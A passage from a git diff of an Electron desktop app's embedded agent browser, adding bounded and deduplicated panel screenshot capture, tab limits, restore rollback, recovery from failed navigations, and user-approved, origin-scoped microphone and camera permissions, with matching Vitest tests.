NAVIGATION_TIMEOUT_MS) - history.goForward() + session.goForward(contents) } return await navigationResult(contents, completion) } @@ -3775,6 +3818,12 @@ export async function handlePanelAction( } return } + if (action.action === 'respond-media-permission') { + if (typeof action.requestId === 'string' && typeof action.allowed === 'boolean') { + await session.respondToMediaPermission(action.requestId, action.allowed) + } + return + } // Navigate bootstraps the session: the user can open the panel manually // (before the agent ever touched the browser) and drive it from the URL // bar. The other chrome actions need an existing page. @@ -3814,13 +3863,13 @@ export async function handlePanelAction( const contents = tab.view.webContents switch (action.action) { case 'reload': - contents.reload() + session.reloadPage(contents) return case 'back': - if (contents.navigationHistory.canGoBack()) contents.navigationHistory.goBack() + session.goBack(contents) return case 'forward': - if (contents.navigationHistory.canGoForward()) contents.navigationHistory.goForward() + session.goForward(contents) return case 'print': contents.print({ printBackground: true }) diff --git a/apps/desktop/src/main/browser-agent/known-sessions.ts b/apps/desktop/src/main/browser-agent/known-sessions.ts index 2fd23a97da7..e248faf0ad0 100644 --- a/apps/desktop/src/main/browser-agent/known-sessions.ts +++ b/apps/desktop/src/main/browser-agent/known-sessions.ts @@ -168,14 +168,14 @@ export class BrowserKnownSessionRegistry { * whoever was signed in, so Sim sign-out must not leave it for the next * account. */ - clear(): void { + clear(): boolean { this.config.set('browserKnownSites', []) // Not left to the debounce. Ordinary writes here can afford to coalesce, // but this one is an erasure the user asked for: if the process dies in // the coalescing window — force quit, crash, OS shutdown — the previous // account's browsing trail is still on disk for whoever signs in next, // and sign-out has already reported success. - this.config.flush() + return this.config.flush() } list(cookieSignals: BrowserCookieSignal[]): BrowserKnownSessionsState { diff --git a/apps/desktop/src/main/browser-agent/panel.test.ts b/apps/desktop/src/main/browser-agent/panel.test.ts index 91fd776cd15..d8d04665315 100644 --- a/apps/desktop/src/main/browser-agent/panel.test.ts +++ b/apps/desktop/src/main/browser-agent/panel.test.ts @@ -126,6 +126,141 @@ describe('panel chat scope', () => { expect(view.setBounds).not.toHaveBeenCalled() }) + it('recovers when capturePage throws before returning a promise', async () => { + const { win, view } = showPanel(panel) + const scopeId = panel.getActivePanelScopeId() + const image = await view.webContents.capturePage() + vi.mocked(view.webContents.capturePage).mockImplementationOnce(() => { + throw new Error('WebContents was destroyed') + }) + + await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toBeNull() + + vi.mocked(view.webContents.capturePage).mockResolvedValue(image) + await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toMatchObject({ + dataUrl: 'data:image/png;base64,c2lt', + }) + }) + + it('shares one native capture across concurrent requests for the same frame', async () => { + const { win, view } = showPanel(panel) + const scopeId = panel.getActivePanelScopeId() + let resolveCapture: + | ((image: Awaited>) => void) + | undefined + const image = await view.webContents.capturePage() + vi.mocked(view.webContents.capturePage).mockClear() + vi.mocked(view.webContents.capturePage).mockReturnValue( + new Promise((resolve) => { + resolveCapture = resolve + }) + ) + + const first = panel.capturePanelSnapshot(win, scopeId) + const second = panel.capturePanelSnapshot(win, scopeId) + expect(view.webContents.capturePage).toHaveBeenCalledOnce() + resolveCapture?.(image) + + await expect(Promise.all([first, second])).resolves.toHaveLength(2) + expect(view.webContents.capturePage).toHaveBeenCalledOnce() + }) + + it('does not dedupe a queued capture across panel owner windows', async () => { + const { win, view } = showPanel(panel) + const other = new BrowserWindow() + const scopeId = panel.getActivePanelScopeId() + const image = await view.webContents.capturePage() + const pendingCaptures: Array<(value: typeof image) => void> = [] + vi.mocked(view.webContents.capturePage).mockClear() + vi.mocked(view.webContents.capturePage).mockImplementation( + () => + new Promise((resolve) => { + pendingCaptures.push(resolve) + }) + ) + + const first = panel.capturePanelSnapshot(win, scopeId) + panel.setPanelBounds(PANEL_RECT, other) + const second = panel.capturePanelSnapshot(other, scopeId) + + expect(view.webContents.capturePage).toHaveBeenCalledOnce() + pendingCaptures[0]?.(image) + await expect(first).resolves.toBeNull() + await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2)) + + pendingCaptures[1]?.(image) + await expect(second).resolves.toMatchObject({ dataUrl: 'data:image/png;base64,c2lt' }) + }) + + it('serializes native captures and coalesces queued navigation requests to the latest page', async () => { + const { win, view } = showPanel(panel) + const scopeId = panel.getActivePanelScopeId() + const image = await view.webContents.capturePage() + const pendingCaptures: Array<(value: typeof image) => void> = [] + vi.mocked(view.webContents.capturePage).mockClear() + vi.mocked(view.webContents.capturePage).mockImplementation( + () => + new Promise((resolve) => { + pendingCaptures.push(resolve) + }) + ) + + vi.mocked(view.webContents.getURL).mockReturnValue('https://one.example') + const first = panel.capturePanelSnapshot(win, scopeId) + vi.mocked(view.webContents.getURL).mockReturnValue('https://two.example') + const superseded = panel.capturePanelSnapshot(win, scopeId) + vi.mocked(view.webContents.getURL).mockReturnValue('https://three.example') + const latest = panel.capturePanelSnapshot(win, scopeId) + + expect(view.webContents.capturePage).toHaveBeenCalledOnce() + await expect(superseded).resolves.toBeNull() + pendingCaptures[0]?.(image) + await expect(first).resolves.toBeNull() + await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2)) + + pendingCaptures[1]?.(image) + await expect(latest).resolves.toMatchObject({ dataUrl: 'data:image/png;base64,c2lt' }) + expect(view.webContents.capturePage).toHaveBeenCalledTimes(2) + }) + + it('does not dedupe content zoom changes that round to the same displayed percentage', async () => { + const { win, view } = showPanel(panel) + const scopeId = panel.getActivePanelScopeId() + const image = await view.webContents.capturePage() + const pendingCaptures: Array<(value: typeof image) => void> = [] + vi.mocked(view.webContents.capturePage).mockClear() + vi.mocked(view.webContents.capturePage).mockImplementation( + () => + new Promise((resolve) => { + pendingCaptures.push(resolve) + }) + ) + + vi.mocked(view.webContents.getZoomFactor).mockReturnValue(1.101) + const first = panel.capturePanelSnapshot(win, scopeId) + vi.mocked(view.webContents.getZoomFactor).mockReturnValue(1.104) + const second = panel.capturePanelSnapshot(win, scopeId) + + expect(view.webContents.capturePage).toHaveBeenCalledOnce() + pendingCaptures[0]?.(image) + await expect(first).resolves.toBeNull() + await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2)) + + pendingCaptures[1]?.(image) + await expect(second).resolves.toMatchObject({ zoomPercent: 121 }) + }) + + it('refuses a panel capture whose pixel budget is unsafe', async () => { + const { win, view } = showPanel(panel) + const scopeId = panel.getActivePanelScopeId() + vi.mocked(win.getContentSize).mockReturnValue([10_000, 10_000]) + panel.setPanelBounds({ x: 0, y: 0, width: 5_000, height: 5_000 }, win) + vi.mocked(view.webContents.capturePage).mockClear() + + await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toBeNull() + expect(view.webContents.capturePage).not.toHaveBeenCalled() + }) + it('requests a fresh compositor frame when a browser view is attached or revealed', () => { const { win, view } = showPanel(panel) diff --git a/apps/desktop/src/main/browser-agent/panel.ts b/apps/desktop/src/main/browser-agent/panel.ts index 27b609ca8cc..207448ffba4 100644 --- a/apps/desktop/src/main/browser-agent/panel.ts +++ b/apps/desktop/src/main/browser-agent/panel.ts @@ -31,6 +31,8 @@ const logger = createLogger('BrowserAgentPanel') */ const PANEL_LEASE_TTL_MS = 2_500 const PANEL_LEASE_CHECK_MS = 1_000 +const MAX_PANEL_SNAPSHOT_PIXELS = 16_777_216 +const MAX_PANEL_SNAPSHOT_DATA_URL_LENGTH = 32 * 1024 * 1024 /** What the panel needs from the session, supplied once by {@link initPanel}. */ export interface PanelHost { @@ -67,6 +69,19 @@ let panelOccluded = false let occlusionOwnerWindow: BrowserWindow | null = null /** Invalidates captures when ownership, scope, or panel visibility changes. */ let panelCaptureGeneration = 0 +let inFlightPanelCapture: { + generation: number + key: string + promise: Promise +} | null = null +let queuedPanelCapture: { + key: string + ownerWindow: BrowserWindow | undefined + promise: Promise + reject: (reason?: unknown) => void + resolve: (snapshot: BrowserPanelSnapshot | null) => void + scopeId: string +} | null = null let panelLeaseAt = 0 let leaseTimer: ReturnType | null = null /** Chat whose native browser surface may currently be composited. */ @@ -299,6 +314,8 @@ function resetOcclusion(): void { occlusionOwnerWindow = null occludableFrame = null panelCaptureGeneration++ + queuedPanelCapture?.resolve(null) + queuedPanelCapture = null } /** @@ -491,6 +508,39 @@ function blankSnapshot( } } +function queuePanelCapture( + key: string, + ownerWindow: BrowserWindow | undefined, + scopeId: string +): Promise { + if (queuedPanelCapture?.key === key) return queuedPanelCapture.promise + + panelCaptureGeneration++ + queuedPanelCapture?.resolve(null) + let resolveCapture!: (snapshot: BrowserPanelSnapshot | null) => void + let rejectCapture!: (reason?: unknown) => void + const promise = new Promise((resolve, reject) => { + resolveCapture = resolve + rejectCapture = reject + }) + queuedPanelCapture = { + key, + ownerWindow, + promise, + reject: rejectCapture, + resolve: resolveCapture, + scopeId, + } + return promise +} + +function startQueuedPanelCapture(): void { + const queued = queuedPanelCapture + if (!queued) return + queuedPanelCapture = null + void capturePanelSnapshot(queued.ownerWindow, queued.scopeId).then(queued.resolve, queued.reject) +} + /** * Captures the compositor surface without resizing or lossy encoding. * @@ -520,8 +570,6 @@ export async function capturePanelSnapshot( layout() if (attachedView !== active.view) return null - const generation = ++panelCaptureGeneration - occludableFrame = null const tabId = active.id const contents = active.view.webContents const shellZoom = win.webContents.getZoomFactor() @@ -535,41 +583,106 @@ export async function capturePanelSnapshot( nativeBounds, } const viewportBounds = viewportBoundsFor(nativeBounds, shellZoom) - const zoomPercent = zoomPercentOf(contents.getZoomFactor()) + const contentsZoom = contents.getZoomFactor() + const zoomPercent = zoomPercentOf(contentsZoom) const url = contents.getURL() if (url === '' || url === 'about:blank') { + panelCaptureGeneration++ + occludableFrame = null if (!frameGeometryIsCurrent(frame)) return null occludableFrame = frame return blankSnapshot(scopeId, tabId, zoomPercent, viewportBounds) } + if ( + nativeBounds.width <= 0 || + nativeBounds.height <= 0 || + nativeBounds.width * nativeBounds.height > MAX_PANEL_SNAPSHOT_PIXELS + ) { + logger.warn('Browser panel is too large to capture safely', { + width: nativeBounds.width, + height: nativeBounds.height, + }) + return null + } + + const captureKey = JSON.stringify([ + win.id, + scopeId, + tabId, + url, + contentsZoom, + shellZoom, + nativeBounds.x, + nativeBounds.y, + nativeBounds.width, + nativeBounds.height, + ]) + if ( + inFlightPanelCapture?.key === captureKey && + inFlightPanelCapture.generation === panelCaptureGeneration + ) { + return inFlightPanelCapture.promise + } + if (inFlightPanelCapture) return queuePanelCapture(captureKey, ownerWindow, scopeId) + + occludableFrame = null + const generation = ++panelCaptureGeneration + let capture: ReturnType try { - const image = await contents.capturePage(undefined, { stayHidden: false }) - if ( - generation !== panelCaptureGeneration || - scopeId !== activePanelScopeId || - host.activeTab()?.id !== tabId || - panelWindow() !== win || - win.isDestroyed() || - !frameGeometryIsCurrent(frame) || - image.isEmpty() - ) { - return null - } - const snapshot: BrowserPanelSnapshot = { - scopeId, - tabId, - zoomPercent, - viewportBounds, - dataUrl: image.toDataURL(), - } - occludableFrame = frame - return snapshot + capture = contents.capturePage(undefined, { stayHidden: false }) } catch (error) { logger.warn('Could not capture browser panel for a toolbar menu', { error: getErrorMessage(error, 'unknown'), }) return null } + const promise = capture + .then((image): BrowserPanelSnapshot | null => { + const imageSize = image.getSize() + if ( + generation !== panelCaptureGeneration || + scopeId !== activePanelScopeId || + host.activeTab()?.id !== tabId || + panelWindow() !== win || + win.isDestroyed() || + !frameGeometryIsCurrent(frame) || + image.isEmpty() || + imageSize.width <= 0 || + imageSize.height <= 0 || + imageSize.width * imageSize.height > MAX_PANEL_SNAPSHOT_PIXELS + ) { + return null + } + const dataUrl = image.toDataURL() + if (dataUrl.length > MAX_PANEL_SNAPSHOT_DATA_URL_LENGTH) { + logger.warn('Browser panel snapshot exceeded the encoded size limit', { + bytes: dataUrl.length, + }) + return null + } + const snapshot: BrowserPanelSnapshot = { + scopeId, + tabId, + zoomPercent, + viewportBounds, + dataUrl, + } + occludableFrame = frame + return snapshot + }) + .catch((error) => { + logger.warn('Could not capture browser panel for a toolbar menu', { + error: getErrorMessage(error, 'unknown'), + }) + return null + }) + .finally(() => { + if (inFlightPanelCapture?.promise !== promise) return + inFlightPanelCapture = null + startQueuedPanelCapture() + }) + inFlightPanelCapture = { generation, key: captureKey, promise } + return promise } /** diff --git a/apps/desktop/src/main/browser-agent/session.test.ts b/apps/desktop/src/main/browser-agent/session.test.ts index 68152b337b5..84de584d9d1 100644 --- a/apps/desktop/src/main/browser-agent/session.test.ts +++ b/apps/desktop/src/main/browser-agent/session.test.ts @@ -1,12 +1,12 @@ import { mkdtempSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import type { MenuItemConstructorOptions } from 'electron' +import type { MenuItemConstructorOptions, WebContents } from 'electron' import { beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) -import { BrowserWindow, session as electronSession, Menu, shell } from 'electron' +import { BrowserWindow, session as electronSession, Menu, shell, systemPreferences } from 'electron' import { BASE_ZOOM_FACTOR, steppedZoomFactor } from '@/main/browser-agent/context-menu' import * as panel from '@/main/browser-agent/panel' import * as sessionModule from '@/main/browser-agent/session' @@ -14,6 +14,12 @@ import type { BrowserSessionSnapshot } from '@/main/desktop-chat-session-store' type SessionModule = typeof import('@/main/browser-agent/session') +const realPlatform = process.platform + +function setPlatform(platform: NodeJS.Platform): void { + Object.defineProperty(process, 'platform', { configurable: true, value: platform }) +} + interface MockView { webContents: { session: { @@ -25,6 +31,7 @@ interface MockView { setWindowOpenHandler: ReturnType loadURL: ReturnType reload: ReturnType + forcefullyCrashRenderer: ReturnType getURL: ReturnType getTitle: ReturnType close: ReturnType @@ -40,6 +47,13 @@ interface MockView { capturePage: ReturnType findInPage: ReturnType stopFindInPage: ReturnType + navigationHistory: { + canGoBack: ReturnType + canGoForward: ReturnType + getActiveIndex: ReturnType + goBack: ReturnType + goForward: ReturnType + } } setBackgroundColor: ReturnType setBounds: ReturnType @@ -77,6 +91,7 @@ function freshSession( onSessionClosed: vi.fn(), onTabCreated: vi.fn(), onActiveTabChanged: vi.fn(), + onPageStateChanged: vi.fn(), onTabsChanged: vi.fn(), onTabThemeChanged: vi.fn(), onTabNavigated: vi.fn(), @@ -125,6 +140,17 @@ function hostResizeHandler(win: BrowserWindow): () => void { return handler as () => void } +function mainFrameNavigationStarted( + contents: MockView['webContents'], + isSameDocument = false +): void { + const handler = contents.on.mock.calls + .filter(([eventName]) => eventName === 'did-start-navigation') + .at(-1)?.[1] + if (typeof handler !== 'function') throw new Error('no navigation-start listener bound') + handler({ isMainFrame: true, isSameDocument }) +} + describe('browser-agent session', () => { let win: BrowserWindow let session: SessionModule @@ -244,7 +270,12 @@ describe('browser-agent session', () => { )?.[1] as ((event: unknown, details: { reason: string }) => void) | undefined renderGone?.({}, { reason: 'crashed' }) - expect(session.withBrowserScope('chat-a', () => session.listTabs())).toEqual([]) + expect(session.withBrowserScope('chat-a', () => session.listTabs())).toEqual([ + expect.objectContaining({ + tabId: first.id, + issue: expect.objectContaining({ kind: 'crashed', reason: 'crashed' }), + }), + ]) expect(session.withBrowserScope('chat-b', () => session.listTabs())).toHaveLength(1) }) @@ -455,6 +486,133 @@ describe('browser-agent session', () => { }) }) + it('bounds restored tabs while retaining pinned tabs and the active page', () => { + const tabs = Array.from({ length: 40 }, (_, index) => ({ + url: `https://tab-${index}.example/`, + pinned: index < 5, + })) + const { persistence } = memoryBrowserPersistence({ + 'chat-bounded-tabs': { + v: 1, + tabs, + activeIndex: tabs.length - 1, + downloads: [], + }, + }) + session = freshSession(win, {}, persistence) + + const restored = session.withBrowserScope('chat-bounded-tabs', () => { + session.restoreBrowserSession() + return session.getTabsState() + }) + + expect(restored.tabs).toHaveLength(32) + expect(restored.tabs.filter((tab) => tab.pinned)).toHaveLength(5) + expect(restored.tabs.find((tab) => tab.active)?.url).toBe('https://tab-39.example/') + }) + + it('refuses to materialize more than the per-task live tab budget', () => { + session.ensureTab() + for (let index = 1; index < 32; index++) session.addTab() + + expect(() => session.addTab()).toThrow('at most 32 open tabs') + expect(session.getTabsState().tabs).toHaveLength(32) + }) + + it('bounds the total number of live browser WebContents across tasks', () => { + for (let scopeIndex = 0; scopeIndex < 3; scopeIndex++) { + session.withBrowserScope(`chat-cap-${scopeIndex}`, () => { + session.ensureTab() + for (let tabIndex = 1; tabIndex < 32; tabIndex++) session.addTab() + }) + } + + expect(() => session.withBrowserScope('chat-cap-overflow', () => session.ensureTab())).toThrow( + 'at most 96 live browser tabs' + ) + }) + + it('does not truncate a saved browser session while the global tab budget is occupied', () => { + const savedTabs = [ + { url: 'https://saved-one.example/', pinned: false }, + { url: 'https://saved-two.example/', pinned: false }, + ] + const { persistence, snapshots } = memoryBrowserPersistence({ + 'chat-pending-restore': { + v: 1, + tabs: savedTabs, + activeIndex: 1, + downloads: [], + }, + }) + session = freshSession(win, {}, persistence) + for (let scopeIndex = 0; scopeIndex < 3; scopeIndex++) { + session.withBrowserScope(`chat-cap-${scopeIndex}`, () => { + session.ensureTab() + for (let tabIndex = 1; tabIndex < 32; tabIndex++) session.addTab() + }) + } + + expect(() => + session.withBrowserScope('chat-pending-restore', () => session.restoreBrowserSession()) + ).toThrow('at most 96 live browser tabs') + expect(snapshots.get('chat-pending-restore')?.tabs).toEqual(savedTabs) + + session.withBrowserScope('chat-cap-0', () => { + const [first, second] = session.getTabsState().tabs + session.closeTab(first.tabId) + session.closeTab(second.tabId) + }) + const restored = session.withBrowserScope('chat-pending-restore', () => { + session.restoreBrowserSession() + return session.getTabsState() + }) + + expect(restored.tabs.map(({ url }) => url)).toEqual(savedTabs.map(({ url }) => url)) + expect(restored.tabs.find((tab) => tab.active)?.url).toBe('https://saved-two.example/') + }) + + it('rolls back a failed restore and retries without duplicating tabs', () => { + const { persistence } = memoryBrowserPersistence({ + 'chat-retry': { + v: 1, + tabs: [ + { url: 'https://one.example/', pinned: false }, + { url: 'https://two.example/', pinned: true }, + { url: 'https://three.example/', pinned: false }, + ], + activeIndex: 2, + downloads: [], + }, + }) + const createdContents: MockView['webContents'][] = [] + const onTabCreated = vi.fn((contents: WebContents) => { + createdContents.push(contents as unknown as MockView['webContents']) + if (createdContents.length === 2) throw new Error('instrumentation failed') + }) + session = freshSession(win, { onTabCreated }, persistence) + + expect(() => + session.withBrowserScope('chat-retry', () => session.restoreBrowserSession()) + ).toThrow('instrumentation failed') + expect(session.withBrowserScope('chat-retry', () => session.peekTabsState().tabs)).toEqual([]) + expect(createdContents).toHaveLength(2) + expect(createdContents.every((contents) => contents.close.mock.calls.length === 1)).toBe(true) + + session.withBrowserScope('chat-retry', () => session.restoreBrowserSession()) + expect(session.withBrowserScope('chat-retry', () => session.getTabsState())).toMatchObject({ + activeTabId: '3', + tabs: [ + { tabId: '2', url: 'https://two.example/', pinned: true, active: false }, + { tabId: '1', url: 'https://one.example/', pinned: false, active: false }, + { tabId: '3', url: 'https://three.example/', pinned: false, active: true }, + ], + }) + + session.withBrowserScope('chat-retry', () => session.restoreBrowserSession()) + expect(createdContents).toHaveLength(5) + }) + it('quiesces live scopes without publishing session closure', () => { const onTabsChanged = vi.fn() const onSessionClosed = vi.fn() @@ -852,6 +1010,150 @@ describe('browser-agent session', () => { expect(win.webContents.send).toHaveBeenCalledWith('browser-agent:close-find', 'chat-test') }) + it('treats a failed navigation as a synthetic Back and Forward history entry', async () => { + const mockContents = (session.ensureTab().view as unknown as MockView).webContents + const contents = mockContents as unknown as WebContents + mockContents.getURL.mockReturnValue('https://example.com/committed') + mockContents.navigationHistory.getActiveIndex.mockReturnValue(3) + session.recordPageLoadFailure(contents, { + kind: 'load-error', + code: -102, + description: 'ERR_CONNECTION_REFUSED', + url: 'https://example.com/failed', + }) + + expect(session.canGoBack(contents)).toBe(true) + expect(session.listTabs()[0]).toMatchObject({ + url: 'https://example.com/failed', + issue: { kind: 'load-error' }, + }) + + expect(session.goBack(contents)).toBe(true) + expect(session.listTabs()[0]).toMatchObject({ url: 'https://example.com/committed' }) + expect(session.listTabs()[0]).not.toHaveProperty('issue') + expect(session.canGoForward(contents)).toBe(true) + + mockContents.navigationHistory.getActiveIndex.mockReturnValue(2) + mockContents.navigationHistory.canGoForward.mockReturnValue(true) + expect(session.goForward(contents)).toBe(true) + expect(mockContents.navigationHistory.goForward).toHaveBeenCalledTimes(1) + mainFrameNavigationStarted(mockContents) + + mockContents.navigationHistory.getActiveIndex.mockReturnValue(3) + expect(session.goForward(contents)).toBe(true) + expect(mockContents.loadURL).toHaveBeenCalledWith('https://example.com/failed') + }) + + it('discards a dismissed failed navigation when a fresh navigation starts', () => { + const mockContents = (session.ensureTab().view as unknown as MockView).webContents + const contents = mockContents as unknown as WebContents + session.recordPageLoadFailure(contents, { + kind: 'load-error', + code: -105, + description: 'ERR_NAME_NOT_RESOLVED', + url: 'https://missing.invalid', + }) + session.goBack(contents) + + mainFrameNavigationStarted(mockContents) + + expect(session.canGoForward(contents)).toBe(false) + }) + + it('discards synthetic Forward after same-document traversal and a fresh navigation', () => { + const mockContents = (session.ensureTab().view as unknown as MockView).webContents + const contents = mockContents as unknown as WebContents + mockContents.navigationHistory.getActiveIndex.mockReturnValue(3) + session.recordPageLoadFailure(contents, { + kind: 'load-error', + code: -102, + description: 'ERR_CONNECTION_REFUSED', + url: 'https://example.com/failed', + }) + + session.goBack(contents) + mockContents.navigationHistory.canGoBack.mockReturnValue(true) + expect(session.goBack(contents)).toBe(true) + + mainFrameNavigationStarted(mockContents, true) + + expect(session.canGoForward(contents)).toBe(true) + + mainFrameNavigationStarted(mockContents) + + expect(session.canGoForward(contents)).toBe(false) + }) + + it('keeps recovery state scoped to its tab while the user switches tabs', () => { + const first = session.ensureTab() + const second = session.addTab() + const firstContents = (first.view as unknown as MockView).webContents as unknown as WebContents + session.recordPageLoadFailure(firstContents, { + kind: 'load-error', + code: -105, + description: 'ERR_NAME_NOT_RESOLVED', + url: 'https://missing.invalid', + }) + + session.switchTab(second.id) + expect(session.listTabs().find((tab) => tab.tabId === first.id)?.issue).toMatchObject({ + kind: 'load-error', + }) + expect(session.listTabs().find((tab) => tab.tabId === second.id)).not.toHaveProperty('issue') + + session.switchTab(first.id) + expect(session.requireTab().id).toBe(first.id) + expect(session.pageIssueForContents(firstContents)).toMatchObject({ kind: 'load-error' }) + }) + + it('hands focus to an accessible recovery page for active-tab failures', () => { + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) + const onPageStateChanged = vi.fn() + session = freshSession(win, { onPageStateChanged }) + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) + const mockContents = (session.ensureTab().view as unknown as MockView).webContents + const contents = mockContents as unknown as WebContents + + session.recordPageLoadFailure(contents, { + kind: 'load-error', + code: -7, + description: 'ERR_TIMED_OUT', + url: 'https://slow.example.com', + }) + + expect(win.webContents.focus).toHaveBeenCalled() + expect(onPageStateChanged).toHaveBeenCalledWith(contents) + }) + + it('recovers unresponsive tabs and clears the issue when Chromium responds again', () => { + const mockContents = (session.ensureTab().view as unknown as MockView).webContents + const contents = mockContents as unknown as WebContents + mockContents.getURL.mockReturnValue('https://example.com') + const unresponsive = mockContents.on.mock.calls.find( + ([eventName]) => eventName === 'unresponsive' + )?.[1] as (() => void) | undefined + const responsive = mockContents.on.mock.calls.find( + ([eventName]) => eventName === 'responsive' + )?.[1] as (() => void) | undefined + const gone = mockContents.on.mock.calls.find( + ([eventName]) => eventName === 'render-process-gone' + )?.[1] as ((event: unknown, details: { reason: string }) => void) | undefined + + unresponsive?.() + expect(session.pageIssueForContents(contents)).toEqual({ + kind: 'unresponsive', + url: 'https://example.com', + }) + responsive?.() + expect(session.pageIssueForContents(contents)).toBeUndefined() + + unresponsive?.() + session.reloadPage(contents) + expect(mockContents.forcefullyCrashRenderer).toHaveBeenCalled() + gone?.({}, { reason: 'killed' }) + expect(mockContents.reload).toHaveBeenCalled() + }) + it('drops the find when the user switches to another tab', () => { panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) const first = session.requireTab() @@ -1785,9 +2087,18 @@ describe('browser-agent session', () => { expect(event.preventDefault).toHaveBeenCalledOnce() }) - it('permission handlers deny everything on the agent partition but the copy button and media', async () => { + it('grants media only after an active-page, origin-scoped user decision', async () => { + vi.mocked(win.isFocused).mockReturnValue(true) + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) const tab = session.ensureTab() - const ses = (tab.view as unknown as MockView).webContents.session + const contents = (tab.view as unknown as MockView).webContents + contents.isFocused.mockReturnValue(true) + const gestureHandler = contents.on.mock.calls.find( + ([eventName]) => eventName === 'before-mouse-event' + )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined + gestureHandler?.({}, { type: 'mouseDown' }) + + const ses = contents.session const requestHandler = ses.setPermissionRequestHandler.mock.calls[0][0] as ( wc: unknown, permission: string, @@ -1810,13 +2121,67 @@ describe('browser-agent session', () => { expect(checkHandler(null, permission)).toBe(false) } - // Media is the deliberate exception — the agent browser joins real - // meetings — but the grant is gated on the OS grant (mocked as granted - // here), so System Settings remains the real authority. const mediaCallback = vi.fn() - requestHandler(null, 'media', mediaCallback, { mediaTypes: ['audio', 'video'] }) - await vi.waitFor(() => expect(mediaCallback).toHaveBeenCalledWith(true)) - expect(checkHandler(null, 'media', undefined, { mediaType: 'audio' })).toBe(true) + requestHandler(contents, 'media', mediaCallback, { + isMainFrame: true, + mediaTypes: ['audio'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + expect(mediaCallback).not.toHaveBeenCalled() + const prompt = session.mediaPermissionRequestForContents(contents as unknown as WebContents) + expect(prompt).toMatchObject({ + origin: 'https://example.com', + devices: ['microphone'], + }) + + await session.respondToMediaPermission(prompt?.requestId ?? '', true) + + expect(mediaCallback).toHaveBeenCalledWith(true) + expect( + checkHandler(contents, 'media', 'https://example.com', { + isMainFrame: true, + mediaType: 'audio', + }) + ).toBe(true) + expect( + checkHandler(contents, 'media', 'https://example.com', { + isMainFrame: true, + mediaType: 'video', + }) + ).toBe(false) + expect( + checkHandler(contents, 'media', 'https://other.example', { + isMainFrame: true, + mediaType: 'audio', + }) + ).toBe(false) + expect( + checkHandler(contents, 'media', 'https://example.com', { + isMainFrame: false, + mediaType: 'audio', + }) + ).toBe(false) + + mainFrameNavigationStarted(contents) + expect( + checkHandler(contents, 'media', 'https://example.com', { + isMainFrame: true, + mediaType: 'audio', + }) + ).toBe(false) + + const staleGestureCallback = vi.fn() + requestHandler(contents, 'media', staleGestureCallback, { + isMainFrame: true, + mediaTypes: ['audio'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + expect(staleGestureCallback).toHaveBeenCalledWith(false) + expect( + session.mediaPermissionRequestForContents(contents as unknown as WebContents) + ).toBeUndefined() // Chromium routes navigator.clipboard.writeText through this one; denying // it silently broke every copy button that does not use execCommand. @@ -1826,6 +2191,174 @@ describe('browser-agent session', () => { expect(checkHandler(null, 'clipboard-sanitized-write')).toBe(true) }) + it('default-denies hidden, subframe, origin-mismatched, and untyped media requests', () => { + const tab = session.ensureTab() + const contents = (tab.view as unknown as MockView).webContents + const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as ( + wc: unknown, + permission: string, + callback: (granted: boolean) => void, + details?: unknown + ) => void + + vi.mocked(win.isFocused).mockReturnValue(true) + contents.isFocused.mockReturnValue(true) + const gestureHandler = contents.on.mock.calls.find( + ([eventName]) => eventName === 'before-mouse-event' + )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined + gestureHandler?.({}, { type: 'mouseDown' }) + const hidden = vi.fn() + requestHandler(contents, 'media', hidden, { + isMainFrame: true, + mediaTypes: ['audio'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + expect(hidden).toHaveBeenCalledWith(false) + + for (const details of [ + { + isMainFrame: false, + mediaTypes: ['audio'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }, + { + isMainFrame: true, + mediaTypes: [], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }, + { + isMainFrame: true, + mediaTypes: ['audio'], + requestingUrl: 'https://other.example/', + securityOrigin: 'https://other.example', + }, + ]) { + const callback = vi.fn() + requestHandler(contents, 'media', callback, details) + expect(callback).toHaveBeenCalledWith(false) + } + + expect( + session.mediaPermissionRequestForContents(contents as unknown as WebContents) + ).toBeFalsy() + }) + + it('denies a pending media request when its document navigates or tab closes', () => { + vi.mocked(win.isFocused).mockReturnValue(true) + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) + const tab = session.ensureTab() + const contents = (tab.view as unknown as MockView).webContents + contents.isFocused.mockReturnValue(true) + const gestureHandler = contents.on.mock.calls.find( + ([eventName]) => eventName === 'before-mouse-event' + )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined + const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as ( + wc: unknown, + permission: string, + callback: (granted: boolean) => void, + details?: unknown + ) => void + const request = (callback: (granted: boolean) => void) => { + gestureHandler?.({}, { type: 'mouseDown' }) + requestHandler(contents, 'media', callback, { + isMainFrame: true, + mediaTypes: ['audio', 'video'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + } + + const navigated = vi.fn() + request(navigated) + mainFrameNavigationStarted(contents) + expect(navigated).toHaveBeenCalledWith(false) + + const closed = vi.fn() + request(closed) + session.closeTab(tab.id) + expect(closed).toHaveBeenCalledWith(false) + }) + + it('keeps the site denied when the operating system rejects an approved device', async () => { + setPlatform('darwin') + try { + vi.mocked(systemPreferences.getMediaAccessStatus).mockReturnValue('not-determined') + vi.mocked(systemPreferences.askForMediaAccess).mockResolvedValue(false) + win.isFocused = vi.fn(() => true) + panel.setPanelBounds({ x: 100, 